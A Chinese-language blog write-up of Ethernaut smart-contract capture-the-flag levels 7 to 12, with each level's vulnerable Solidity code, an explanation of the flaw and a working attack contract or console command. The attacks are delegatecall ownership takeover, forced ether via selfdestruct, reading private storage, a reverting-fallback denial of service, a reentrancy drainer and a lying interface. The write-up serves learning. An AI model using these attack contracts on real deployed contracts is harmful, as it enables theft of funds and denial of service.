题目预览
7.Delegation
分析
源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
这关要求我们拿到合约Delegation的所有权.
本关代码中提供了两个合约,delegate和delegation,而我们要做的是拿到合约delegation的所有权,我们发现在合约Delegation中找不到更换函数所有权的操作,那我们可以去delegate中找一找。
在delegate中存在函数pwn(),可以更改合约的所有权,但他在delegate里面,和delegation有关系吗?
在delegation的fallback函数中存在delegatecall调用。而在solidity中,call函数簇可以进行合约之间的相互调用,分别是,call、delegatecall、calldata。
,以用户A通过B合约调用C合约为例
- call:最常用的调用方式,调用后内置变量 msg 的值会修改为调用者B,执行环境为被调用者的运行环境C。
- delegatecall:调用后内置变量 msg 的值A不会修改为调用者,但执行环境为调用者的运行环境B
- calldata:调用后内置变量 msg 的值会修改为调用者B,但执行环境为调用者的运行环境B
因此,当我们使用delegatecall时,虽然使用的是Delegate的函数,却是在Delegation的环境下执行的,我们可以以此来编辑攻击合约。
攻击
攻击合约:
contract attack{
address public owner;
bool public result;
Delegation delegation;
constructor(address _delegationAddress)public {
delegation = Delegation(_delegationAddress);
owner = msg.sender;
}
function attack1()public{
// bytes4 method = bytes4(keccak256("pwn()"));
address(delegation).call(abi.encodeWithSignature("pwn()"));
}
}
与之前相同的步骤生成新实例,将实例变量放入攻击合约的部署参数中部署,部署完后直接进行攻击。
remix显示成功后但owner并没有发生改变,我们在区块链浏览器上查看调用的具体步骤。
可以看到交易并没有成功,而产生了out of gas的错误,我们重新进行攻击,在攻击时修改gas的限制(注意是在小狐狸弹窗处进行修改,而不是remix)
修改后攻击,可以发现,owner已经变成了攻击合约,可以提交了。
提交发现无法通过,随后发现需要owner是我们自己的地址。那我们就直接在控制台进行交易的构造。
控制台输入 await contract.sendTransaction({data:web3.utils.keccak256(“pwn()”).slice(0,10)})
这里的data是为了调用pwn函数,用keccak256进行编码且只取了前四个字节。
攻击完成,owner已经变成自己,可以进行提交了
提交实例,关卡完成
8.Force
分析
源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Force {
/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
我们可以看到这个合约中没有任何东西,而给智能合约转账通常由三种方法,transfer,send,call.value,但这三种方法的前提都是需要目标合约中存在payable修饰的函数,那还有没有其他方法呢?有
However, there’s another way to transfer funds without obtaining the
funds first: The Self Destruct function. Selfdestruct is a function in
the Solidity smart contract used to delete contracts on the
blockchain. When a contract executes a self-destruct operation, the
remaining ether on the contract account will be sent to a specified
target, and its storage and code are erased
我们在官方文档中发现了另一种转账方式,也就是说合约自毁时可以将合约剩下的所有以太发送给指定地址,而不用管目标地址是否接受转账。
我们可以以此来构建攻击合约。
攻击
攻击合约:
contract attack{
Force force;
constructor()public {
}
function complete(address payable _addr)public payable{
selfdestruct(_addr);
}
}
我们通过selfdestrcuct函数来进行合约的自毁,并将剩下的以太传入目标实例的地址。
同样,我们先在靶场生成新实例,随后在remix中编译并部署攻击合约,将目标合约地址传入攻击函数进行攻击(别忘了在攻击时传入1Wei)。
传入2Wei,攻击成功,可以提交。
我属实是没想到,写着博客发生了意外,Rinkeby测试网关了,导致靶场无法生成实例,我还是会继续将方法和分析放进博客中。
9.Vault
分析
源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
本关需要我们打开锁,也就是locked,而要让locked变成false,就需要调用到unlock函数,也就需要我们的密码,但密码是private的,无法直接查看,别担心,任何东西在区块链上都是有迹可循的。
solidity采用bytes32字节数组的方式存储链上的数据,所有存储在storage中的变量都会在这个数组中,所以这个密码也不例外,我们来分析一下他的存储位置。
我们知道bool类型占一个字节,而bytes32占32字节,因此
locked(1字节)<== slot(0)
password(32字节)<==slot(1)
我们可以在区块链上查找password
攻击
在控制台输入,await web3.eth.getStorageAt(contract.address,1)
就可以很轻松的获取到password,随后继续输入await contract.unlock()(括号中填入刚刚查到的password),就可以轻松解开locked,随后提交实例,关卡成功。
10.King
分析
源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
这关需要让我们成为king,并阻止其他人夺走king这个位置。
成为king很简单,只要我们向合约发送eth,并且大于price就可以了,那我们怎么阻止其他人成为King呢,其实也很简单。
在receive函数中,在其他人即将成为king时,会将他发送的msg.value转给我,如果我用的是攻击合约的话,就会触发我的fallback或receive函数,我就可以在这个函数中阻止他的继续操作,我们以此来编写攻击合约:
攻击
contract attack{
function complete(address payable _addr)public payable{
_addr.call.value(msg.value)("");
}
function reTran()public{
msg.sender.transfer(address(this).balance);
}
fallback()external payable{
revert();
}
}
代码很简单,complete函数用来攻击,而reTran让我们能把eth取回来(也可以不用),我设置的fallback函数中,只要他一给我转钱就会直接revert回退,导致他无法进行后面的操作,也就无法成为king了。
我们直接调用complete函数,执行完后可直接提交实例,关卡成功。
11.Re-entrancy
分析
源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{
value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {
}
}
此题要求我们拿走合约的所有资产。
合约很简单,一个捐献函数可进行捐款,一个查余额函数,以及一个取钱函数,而取钱函数要求我们的余额大于要取的数,要怎么将合约的资产全部拿走呢。
我们注意到,withdraw函数中如果我们通过了if,他就会直接给我们转账,再进行余额的删减。
如果这样进行转钱的话,在call调用时,如上题一样,同样会触发我们合约中的回退函数,我们可以在回退函数中,达到我们的目标。
攻击
攻击合约:
contract attack{
Reentrance re;
address payable owner;
uint public balance;
uint money;
constructor(address payable _addr)public {
re = Reentrance(_addr);
owner = msg.sender;
}
function donate()public payable{
money = msg.value;
re.donate{
value:money}(address(this));
}
function withdraw()public{
re.withdraw(money);
}
function qu()public{
owner.transfer(address(this).balance);
}
fallback()external payable{
balance = address(re).balance;
if (balance>0){
if(balance>=money){
re.withdraw(money);
}else{
re.withdraw(balance);
}
}
}
}
在我们的合约中,重点还是在回退函数,我们在给目标合约捐款后,就可以调用withdraw,取走我们存入的钱,并且触发我们的fallback函数,继续调用withdraw,由于此时我们的余额还没有进行删减,我们依然能通过require,继续取走合约中的钱,直到将合约中的钱取空
我们先调用donate函数捐1 Finny,再调用withdraw函数取走1 Finny,合约中的余额就会直接被我们掏空,提交实例,关卡成功。
12.Elevator
分析
源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
这关要让我们到达大楼顶部,什么意思呢,也就是让我们的top为true。
我们看到top被赋值的是building中的isLastFloor(floor)的返回值,需要false才能进入if,但我们却需要top被赋值为true,看起来似乎不能同时满足对吧,别担心,我们有view。
攻击
攻击合约:
contract attack{
bool public top;
Elevator elevator;
constructor(address _addr)public {
elevator=Elevator(_addr);
top = true;
}
function isLastFloor(uint) external returns (bool){
top = !top;
return top;
}
function complete()public {
elevator.goTo(10);
}
}
由于goTo中每次调用的Building都是msg.sender,所以我们构造出一个满足Building接口的合约即可,在每次调用我们的isLastFloor时,top的值都会进行翻转,也就是两次调用出的值并不一样,我们可以进入if,而top赋值时取到的值却是true。
我们直接调用complete,top的值即可直接变为true,提交实例,关卡完成。